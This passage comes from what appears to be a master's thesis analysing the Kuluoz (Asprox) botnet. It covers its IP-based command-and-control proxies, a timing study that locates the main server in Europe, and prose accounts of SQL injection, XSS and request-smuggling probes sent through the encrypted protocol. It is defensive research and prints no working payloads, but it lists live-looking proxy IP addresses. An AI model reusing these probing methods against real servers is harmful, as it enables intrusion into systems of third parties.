Many botnets use domain addresses when contacting their C&C server. It allows the botnet to recover from a server takedown with only a change of DNS record. However, it also provides security solutions the opportunity to block any access to the C&C domain and yield the botnet useless. There are also security products and research that detect malicious botnet activity14 using DNS traffic.

The Kuluoz botnet maintains a large server redundancy and implements a mechanism for delivering a new list of servers. The use of IP addresses rather than domain names has the advantage that once a server is blacklisted by security solutions it is quickly replaced with another server in another IP address. Also, when using IP addresses DNS requests are not necessary. This reduces amount of noise the malware generates in a local network, and makes finding the malware harder.

14 Early Detection of Malicious Flux Networks via Large-Scale Passive DNS Traffic Analysis, Dependable and Secure Computing, IEEE Transactions pp 714-726

11. Mother-Ship Investigation

At an early stage of the botnet research, we became suspicious that the C&C network is a two tier network, with a main server behind a number of proxy servers. This was due a number of reasons:

 All the C&C servers were Nginx servers, that are primarily used as web proxies  The servers seemed completely synchronized – we always received the same responses from all the servers (same C&C address list, same flow of commands to run, same files on all servers etc.)  The internal URL structure – the plaintext URL contains a request to a web page with parameters. This likely means that the request is forwarded to another server

Once we came to this conclusion, we tried to find some more information about the Mothership – where it is located, what processing is done by the proxies and what is done by the Mothership, and how protected it is. 11.1. Triangulation

Our first attempt to understand the location of the C&C main server relied on a simplified version of a technique taken from the physical world called Triangulation. In this technique, the location of a point is determined by its distance from a number of well-known locations.

We wanted to measure the difference in the network response time, between a request that went all the way to the mother ship, and a request that was answered by the proxy server. This time difference would be a good approximation to the time it takes a request by the proxy server, to be answered by the mother ship. Once we have this data for all the C&C servers, and have the geographic location of all of them, we can estimate the location of the mother ship.

For the response time of a request that goes all the way, we used a regular C&C request in the format the agent sends out (which would be forwarded to the mother ship), and for the request that is replied by the proxy, we sent an ICMP echo request to the C&C server (which is replied directly by the proxy server). We measured the response time, by calculating the time difference between the network ACK packet we received after the GET request, and the actual response that followed (see Figure 25). This interval represents the time it takes the proxy to contact the mother ship and receive an answer.

Victim Proxy

SYN ACK SYN, ACK

GET

ACK Calculated margin: - interval to communicate with the 200 OK Mothership

Figure 25: Agent to proxy request-response protocol

We sent both typical types of the agent protocol requests (request to get a new command, and an updated IP list request), to each one of the proxy servers. We sent such requests periodically for a 12 hour period, with an interval of few seconds between consecutive requests. From the results, we calculated the average time it took for each proxy to respond, to each of the two request types, after removing requests far off the average (that probably suffered from some network delay), to keep the standard deviation low (we removed a very small percent of the requests – only requests with a time interval that is at least twice or at most half of the average). After calculating the average results, we calculated the delay for the communication between the proxy and the C&C server - simply by subtracting half of the ICMP round trip average time (to remove the network delay from the proxy to the sender).

As can be seen in the table below, the results show a big difference in the proxy to Mothership delay according to the geographic location. European proxies had the lowest delay, especially the ones in France. This leads us to assume that the actual C&C Mothership is located in Europe, most like in France or close to it.

This also confirms our assumption that the C&C addresses are indeed proxy servers, as the difference between ICMP response times and request response times are very different from one C&C address to another. Addresses that are close geographically have a similar difference - which means similar times to send the response, and addresses that are on different continents have a big difference from one another, indicating that there is a communication with another server before sending the response.

Table 5: Triangulation results from April 6th, 2013

Command IP requests requests ICMP RT IP average (s) average (s) average (s) Proxy<->C&C (s) Location 91.121.156.162 0.383791417 0.364481746 0.1723434 0.278310046 France 94.23.254.90 0.366694885 0.378037113 0.160328683 0.297872771 France 178.32.136.84 0.396852492 0.379165424 0.1553775 0.301476674 France 85.214.133.237 0.92124475 0.418431228 0.157781 0.339540728 Germany 193.23.226.15 0.449522017 0.429755443 0.167661133 0.345924876 Germany

87.239.158.90 0.494029717 0.458901639 0.178054051 0.369874614 Belgium 80.67.6.226 0.456609717 0.464347115 0.184626877 0.372033676 Sweden 87.106.26.231 0.355471237 0.452734576 0.156842431 0.37431336 Germany 77.241.199.212 0.495011864 0.478306483 0.187904237 0.384354365 Lithuania 50.56.112.118 0.66846681 0.653277984 0.257238458 0.524658755 USA 50.57.127.143 0.691065934 0.65583 0.262004576 0.524827712 USA 68.233.36.146 0.652446362 0.644927833 0.238246271 0.525804698 USA 68.233.32.146 0.721279741 0.667255246 0.244851 0.544829746 USA 68.233.32.145 0.681399695 0.683253933 0.248521623 0.558993122 USA 174.120.225.57 0.708421459 0.712564339 0.270705607 0.577211535 USA 180.235.133.70 1.472060368 1.331018737 0.394247386 1.133895044 Hong Kong 202.52.136.27 1.302095759 1.337380879 0.404653847 1.135053956 Hong Kong 180.235.134.228 1.297022746 1.351889339 0.40810475 1.147836964 Hong Kong 180.235.132.29 1.301227321 1.399891103 0.412090825 1.193845691 Hong Kong 180.235.134.199 1.396842525 1.402668825 0.402612034 1.201362807 Hong Kong 202.29.42.136 1.506434651 1.49659431 0.498294651 1.247446984 Thailand 124.109.2.78 1.593907627 1.53384 0.501877525 1.282901238 Thailand 103.4.218.22 1.80974219 1.746485105 0.52132919 1.48582051 Thailand

11.2. Injection and Request Smuggling Attempts

11.2.1. SQL Injection attempts

We assumed that the mother ship server is employing a relational database server to keep track of infected machines and administer the botnet. This is a practice we have commonly seen in the wild. In the past, C&C applications has been known to occasionally demonstrate vulnerability to SQL injection (vOlk Botnet 15, for example). Hence, one of our first attempts was to check if it is possible to get information from the C&C using SQL injection16.

We created the plain text attack vectors and then encrypted them using the proper algorithm and key before sending to the proxy server. We have attempted to inject into the id parameter of the request, which normally holds a 32 characters string. By using time based SQL commands we have attempted to evaluate whether we were able to actually trigger an injection or not. None of these attempts had effect on the response, indicating that the C&C network has some SQL injection protection.

11.2.2. Cross Side Scripting (XSS) attempts

Another attempt we made is to try and detect access to the Mother Ship server by its operator. We used Cross Site Scripting17 in one of the request parameters.

15 vOlk Botnet SQL injection report by Vulnerability Lab 16 SQL Injection on OWASP 17 Cross Site Scripting on OWASP

We created a dummy web page that logs every access to it. Then, our attack vector includes and image tag that referenced this page. We hoped that the request would be logged and displayed in the C&C administration application, triggering access from the operator’s machine to our web page.

For this, we used the request for updated C&C servers list. The request is a RC4 encrypted request, which translates to /index.php?r=gate/getipslist&id=ID, where ID is the short 8 characters victim ID. As explained on section 4.2.2, the server list is returned encrypted, and the encryption key is the ID field content.

First we verified that it is possible to use an ID longer than 8 characters – we used a longer fake ID, and received an encrypted IP list. The encrypted list was encrypted using our long ID (the content of the ID field) – the key decrypted the list, and valid results were received, indicating that it is indeed possible to use longer IDs.

We created the plaintext attack vector, injecting into the ID field an HTML image tag (referencing our trap web page). We then encrypted them using the proper algorithm and key before sending to the C&C server. However, no access was made to the page.

11.2.3. Request Smuggling Attempts

Another feature we wanted to check is whether any parsing is done at the proxy server, or whether it is used just to pass the request to the Mother Ship. We wanted to understand whether the decryption is done at the proxy side, and where the request decoding (replacing binary ASCII values with actual characters) is done.

To check this, we tried to use Request Smuggling18 techniques. We used again the request for updated C&C servers list. We tried to generate a request that will lead us to where the decryption and parsing is done (and possibly give us some information about the Mothership, in case vulnerability for request smuggling exists). We checked this by using a secondary HTTP request in the ID field that in case of such vulnerability will cause two separate HTTP requests to be sent.

We attempted to insert two secondary HTTP commands in the ID field:

 An HTTP TRACE request in the ID, to see if any data is returned from the trace  An HTTP GET request to our trap web page, to see if there is any access to it

For both cases, we prepared two plaintext vectors – One was a regular, non-encoded version, and the second was an encoded version, replacing special characters (spaces, line breaks, etc) with their ASCII representation.

First, we sent the encoded request. We received a response, a server list encrypted with the decoded password – different than the original ID we sent. This means that requests are decoded on the process, either on the proxy side or on the mother ship. However, no data

18 Request Smuggling on OWASP

35 was returned related to the TRACE request. This likely indicates that the decoding happens on the mother ship, otherwise the forged TRACE request would have been sent.

Second, we sent the regular (not encoded) TRACE request – and received an encrypted server list. When trying to open the encryption, we noticed that the working encryption key is the non-encoded key (the ID field as we sent it). Again, no data was returned related to the TRACE request. This means, most likely, that the decryption is done at the Mothership, otherwise the TRACE request would have been sent when forwarding the original request to the mother ship.

We repeated this experiment with the HTTP GET request. Again results were similar – no access was made to our trap page, and the servers list was encrypted, at both attempts, with the decoded ID field.

From this, we learn that most likely the C&C proxies are used merely for passing the requests to the Mothership, without doing any decryption or decoding on their side. This also caused the C&C to be secure against such HTTP request forgery attempts.

12. Conclusions

Kuluoz, despite using simple infection techniques, achieved an impressive success, spreading to a large number of victims and generating revenue from spam mail and malware affiliates.

A few key features enabled its success:

 A modular software structure enabled it to stay off the radar, as the basic malware executable does not have any special capabilities. This also enabled it to make changes easily and keep improving, even while the base release stayed intact  Its C&C architecture, which hides the main C&C server through a group of compromised proxy servers that can be replaced and added without any downtime to the botnet  Analysis protection mechanisms and C&C protection against known attacks, makes it harder to expose or attack the C&C Mother Ship

This shows that while malware such as Stuxnet or Flame get wide attention, much simpler malware can achieve success, by using wise software engineering and C&C architecture. In most aspects Kuluoz and Flame are very similar – their modules, actions, and their robustness. The main difference is the method of infection – while Flame used zero-day vulnerabilities, Kuluoz uses simple social engineering techniques. This method of infection works good, as the number of possible targets for Kuluoz is much bigger.

However, the malware can still be stopped or slowed down. One approach is to detect the malware’s activity, using security products such as firewalls and Intrusion Prevention Systems (IPS):

 Part of the malware's protocol is still plaintext (the responses with the actions to take), and can easily be signed, and blocked, by products at the ISP's or enterprises side.  Deep packet inspection can also notice and alert on the encrypted C&C communications – it is easy to automatically decrypt and detect the malware's protocols, once noticing the long hex strings common to the malware.

The main disadvantage of these methods is the fact they require constant monitoring and updating of the rules and filters, as the malware changes rapidly, as detailed on chapter 8.

Another disadvantage of automatic blocking is that it can trigger unwanted blocking of legitimate traffic. For example, Kuluoz in the past (when still using plaintext requests), used to generate fake requests with its regular pattern to twitter and bing19, in order to trick network IDS systems.

Another approach is using network anomaly detection tools20, which can detect a change in the computers activity, after infection. Such tools can identify the new repetitive request pattern to the C&C network, and alert that a computer is infected, when the impact to the computer or organization is still minimal.

Other than these methods, constant investigation by security firms should be done, in order to understand such threats that appear on a regular basis, and stop them before reaching such large botnet sizes.

19 Identification and Recognition of Remote-Controlled Malware, p. 67 20 Detecting Botnet Command and Control

13. Table of figures

13.1. Figures

FIGURE 1: KULUOZ EXECUTABLE AND ZIP FILE, WITH A MICROSOFT WORD ICON FOR THE EXECUTABLE ...... 6 FIGURE 2: UPS SPAM, FROM SEPTEMBER 2012 ...... 7 FIGURE 3: AMERICAN AIRLINES SPAM, FROM APRIL 2013 ...... 7 FIGURE 4: DHL SPAM, FROM MAY 2013 ...... 7 FIGURE 5: KULUOZ SOFTWARE MODULAR STRUCTURE...... 9 FIGURE 6: EXAMPLE OF A POST REQUEST WITH THE SPAM SENDING PROGRESS ...... 11 FIGURE 7: TEMPLATE OF THE MODULE'S XML CONFIGURATION ...... 12 FIGURE 8: EXAMPLE OF A PARTIAL LIST OF SPAM TARGETS, IN THE SPAM CONFIGURATION ...... 12 FIGURE 9: EXAMPLE OF THE PLACEHOLDERS USED IN THE MESSAGE BODY FIELD IN THE CONFIGURATION ...... 13 FIGURE 10: EXAMPLE OF THE SMTP HANDLING RULES FROM THE CONFIGURATION ...... 13 FIGURE 11: EXAMPLE BASE64 ENCODED CONFIGURATION ...... 15 FIGURE 12: THE MODULE REPORTING BACK RESULTS (VULNERABLE SERVERS REDACTED)...... 15 FIGURE 13: EXAMPLE OF THE FAKEAV IN ACTION ...... 17 FIGURE 14: ZBOT CONFIGURATION DOWNLOAD ...... 17 FIGURE 15: AGENT COMMUNICATION WITH THE C&C SERVER ...... 17 FIGURE 16: ZEROACCESS AGENT CHECKING THE GEOGRAPHIC LOCATION ...... 18 FIGURE 17: ZEROACCESS AGENT DOWNLOADING ADOBE FLASH UPDATE ...... 18 FIGURE 18: ZEROACCESS P2P COMMUNICATION ...... 18 FIGURE 19: EXAMPLE OF A REQUEST AND RESPONSE USING THE DESCRIBED PROTOCOL ...... 20 FIGURE 20: EXAMPLE OF REQUEST AND RESPONSE FOR C&C SERVER LIST ...... 22 FIGURE 21: ACTUAL C&C SERVER LIST, AFTER DECRYPTION ...... 22 FIGURE 22: GRAPH OF THE NUMBER OF IPS IN THE C&C NETWORK, PER DATE...... 26 FIGURE 23: CHART OF THE PERCENTAGE OF IPS IN THE C&C NETWORK, PER CONTINENT, FROM AUGUST 2012 UNTIL JUNE 2013 ...... 27 FIGURE 24: CHART OF THE PERCENTAGE OF IPS IN THE C&C NETWORK, PER COUNTRY, FROM AUGUST 2012 UNTIL JUNE 2013 ...... 28 FIGURE 25: AGENT TO PROXY REQUEST-RESPONSE PROTOCOL ...... 33 13.2. Tables

TABLE 1: LIST OF MALWARE EXECUTABLE FILES...... 8 TABLE 2: MALWARE VERSIONS SUMMARY ...... 8 TABLE 3: KULUZ MODULES OVERVIEW ...... 10 TABLE 4: AVERAGE C&C SERVER LIFE SPAN BY REGION, IN DAYS ...... 27 TABLE 5: TRIANGULATION RESULTS FROM APRIL 6TH, 2013 ...... 33

14. References

1. Villeneuve Nart, Jessa dela Torre, and David Sancho, "Asprox Reborn", Trend Micro Incorporated, March 2013, http://www.trendmicro.com/cloud- content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf [accessed: November 04, 2013] 2. Borgaonkar Ravishankar, "An Analysis of the Asprox Botnet", In 2010 Fourth International Conference on Emerging Security Information Systems and Technologies (SECURWARE), 2010. 3. Virus Total, https://www.virustotal.com/ [accessed: November 04, 2013] 4. CVE Details, "CVE-2012-1823", http://www.cvedetails.com/cve/CVE-2012-1823 [accessed: November 04, 2013] 5. Asprox Reborn, p. 14. 6. Secure list, "Trojan.Win32.FakeAV.cmcs", http://www.securelist.com/en/descriptions/10232631/Trojan.Win32.FakeAV.cmcs [accessed: November 04, 2013] 7. Stone-Grossx Brett, Ryan Abmanz, Richard A. Kemmererx, Christopher Kruegelx, Douglas G. Steigerwaldz, and Giovanni Vigna, "The Underground Economy of Fake Antivirus Software", in Economics of Information Security and Privacy III, pp 55-78, 2011. 8. Wyke James, "What is Zeus?", SophosLabs, May 2011, http://www.sophos.com/medialibrary/PDFs/technical%20papers/Sophos%20what% 20is%20zeus%20tp.pdf?dl=true [accessed: November 04, 2013] 9. Abuse.ch, "ZeuS Tracker :: ZeuS Host poebalu7raz.com", https://zeustracker.abuse.ch/monitor.php?host=poebalu7raz.com&id=92b899be47 0a940e78a6c952a755c52c [accessed: November 04, 2013] 10. McNamee Kevin, "Malware Analysis Report - New C&C Protocol for ZeroAccess/Sirefef", Kindsight, June 2012, http://www.kindsight.net/sites/default/files/Kindsight_Malware_Analysis- New_CC_protocol_ZeroAccess-final2.pdf [accessed: November 04, 2013] 11. Nginx - HttpProxyModule, http://wiki.nginx.org/HttpProxyModule [accessed: November 04, 2013] 12. Amazon - Amazon Elastic Compute Cloud (Amazon EC2), http://aws.amazon.com/ec2/ [accessed: November 04, 2013] 13. Tor project, https://www.torproject.org/ [accessed: November 04, 2013] 14. Perdisci Roberto, Igino Corona, and Giorgio Giacinto, "Early Detection of Malicious Flux Networks via Large-Scale Passive DNS Traffic Analysis", in IEEE Transactions on Dependable and Secure Computing, vol. 9, pp 714-726, 2012. 15. Vulnerability Lab, "vOlk Botnet SQL injection report", http://www.vulnerability- lab.com/download_content.php?id=721 [accessed: August 15, 2013] 16. OWASP, "SQL Injection", https://www.owasp.org/index.php/SQL_Injection [accessed: November 04, 2013] 17. OWASP, "Cross-site Scripting (XSS)", https://www.owasp.org/index.php/Cross- site_Scripting_(XSS) [accessed: November 04, 2013]

18. OWASP, "HTTP Request Smuggling", https://www.owasp.org/index.php/HTTP_Request_Smuggling [accessed: November 04, 2013] 19. Dietrich Christian Jörn, "Identification and Recognition of Remote-Controlled Malware", Universit t Mannheim, Diss., 2013. 20. Bilge Leyla, Davide Balzarotti, William Robertson, Engin Kirda, and Christopher Kruegel. DISCLOSURE: Detecting Botnet Command and Control Servers Through Large-Scale NetFlow Analysis. In Annual Computer Security Applications Conference, 2012. 21. Microsoft Malware Protection Center, "Win32/Kuluoz", http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name= Win32/Kuluoz [accessed: November 04, 2013] 22. Grier Chris, Lucas Ballard, Juan Caballero, Neha Chachra, Christian J. Dietrich, Kirill Levchenko, Panayiotis Mavrommatis, Damon McCoy, Antonio Nappa, Andreas Pitsillidis, Niels Provos, M. Zubair Rafique, Moheeb Abu Rajab, Christian Rossow, Kurt Thomas, Vern Paxson, Stefan Savage, Geoffrey M. Voelker, “Manufacturing Compromise: The Emergence of Exploit-as-a-Service” In the Proceedings of the ACM Conference on Computer and Communications Security (CCS), October 2012. 23. Burji Supreeth, Kathy J. Liszka, C. Chan, "Malware analysis using reverse engineering and data mining tools", In 2010 International Conference on System Science and Engineering (ICSSE), July 2010. 24. Rieck Konrad, Philipp Trinius, Carsten Willems, Thorsten Holz, "Automatic analysis of malware behavior using machine learning", In Journal of Computer Security, vol. 19, pp 639-668, June 2011. 25. Inoue Daisuke, Katsunari Yoshioka, Masashi Eto, Yuji Hoshizawa and Koji Nakao, “Malware behavior analysis in isolated miniature network for revealing Malware's network activity,” in Proceedings of IEEE International Conference on Communications (ICC '08), pp. 1715–1721, May 2008.

תקציר

Kuluoz הוא סוס טרויאני מסחרי, אשר השפיע על כמות גדולה של מחשבים ברחבי העולם וגרם לשליחת כמות משמעותית של ספאם. הבוטנט שיצר הסוס הטרויאני, המוכר גם כAsprox botnet, עורר עניין רב ברחבי העולם ונחקר ע"י חוקרי אבטחה רבים. הבוטנט נותח על ידי דו"ח של חברת Trend Micro. הבוטנט Asprox הוא בוטנט ותיק, שזכה להצלחה רבה לפני מספר שנים, בעיקר בשנת 8002, אך נעלם מעט מאז שנת 8040.

עבודה זו מרחיבה את הדו"ח שפורסם, תוך שימוש בתוצאות מחקר מקיף שבוצע על כמות מידע גדולה בעשרת החודשים האחרונים. העבודה מציגה ניתוח של הסוס הטרויאני ויכולותיו, ומוסיפה מידע חדש על המבנה שלו, רשת הפיקוד והשליטה, שינויים שנעשו בו לאורך הזמן ויכולות הגנה שונות.

דו"ח זה מצביע על המפתחות העיקריים להצלחתו של הסוס הטרויאני ולקמפיין הארוך שלו – היכולת לבצע שינויים מהר ובקלות, תכונות שאפשרו לו להשאר בפרופיל נמוך, וארכיטקטורת שרתי הפיקוד והשליטה שלו, המסתירה את שרתי הליבה שלו מאחורי רשת שרתי פרוקסי פרוצים שניתנים להחלפה בקלות.

כמו כן, עבודה זו מוסיפה מידע חדש על ליבת רשת הפיקוד והשליטה של הכלי – במובנים של מיקום, תפקיד ואבטחה.

המרכז הבינתחומי בהרצליה בית-ספר אפי ארזי למדעי המחשב

Kuluoz: ניתוח סוס טרויאני

סיכום פרויקט גמר המוגש כמילוי חלק מהדרישות לקראת תואר מוסמך במדעי המחשב

על-יד שקד בר

העבודה בוצעה בהנחיית מר עמיחי שולמן

51/2/8/51